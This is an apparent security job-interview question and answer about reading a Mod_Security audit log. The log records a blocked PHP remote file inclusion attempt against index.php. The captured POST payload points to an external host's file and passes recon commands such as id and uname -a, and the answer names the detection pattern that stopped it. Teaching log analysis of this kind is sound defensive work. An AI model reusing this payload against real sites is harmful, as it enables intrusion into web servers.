Interview Questions

What application generated the log file entry below? What type of attack is this?

Computing Security,Information Security, NT security, Web Security and Network Security Questions and Answers


(Continued from previous question...)

What application generated the log file entry below? What type of attack is this?

What application generated the log file entry below? What type of attack is this? Assuming the index.php program is vulnerable, was this attack successful?

========================================
Request: 200.158.8.207 - - [09/Oct/2004:19:40:46 --0400] "POST /index.php HTTP/1.1" 403 743
Handler: cgi-script
----------------------------------------
POST /index.php HTTP/1.1
Host: www.foo.com
Connection: keep-alive
Accept: */*
Accept-Language: en-us
Content-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
User-Agent: Mozilla 4.0 (Linux)
Content-Length: 65
X-Forwarded-For: 200.158.8.207
mod_security-message: Access denied with code 403. Pattern match "uname\x20-a" at POST_PAYLOAD
mod_security-action: 403

65
lid=http://th3.ownz.p5.org.uk/lila.jpg?&cmd=cd /tmp;id;lsuname -a
----------------------------------------



Note: Goal of question – to verify that the applicant can interpret various web log files, identify attacks and possible impacts. The Mod_Security Apache module generated this data in the audit_log file. The log entry indicates that an attacker is attempting to exploit a PHP file inclusion vulnerability in the index.php script. The commands being passed are in the POST PAYLOAD of the command. This attack was not successful for the following two reasons:

· The mod_security-message header indicates that Mod_Security blocked this request based on a converted Snort web-attack rule when it identified the "uname –a" data in the POST PAYLOAD.
· The attacker also made a typo in the OS commands being passed in the POST PAYLOAD. She did not include a semicolon ";" between the ls and uname commands. The target host would fail to execute the "lsuname" command.

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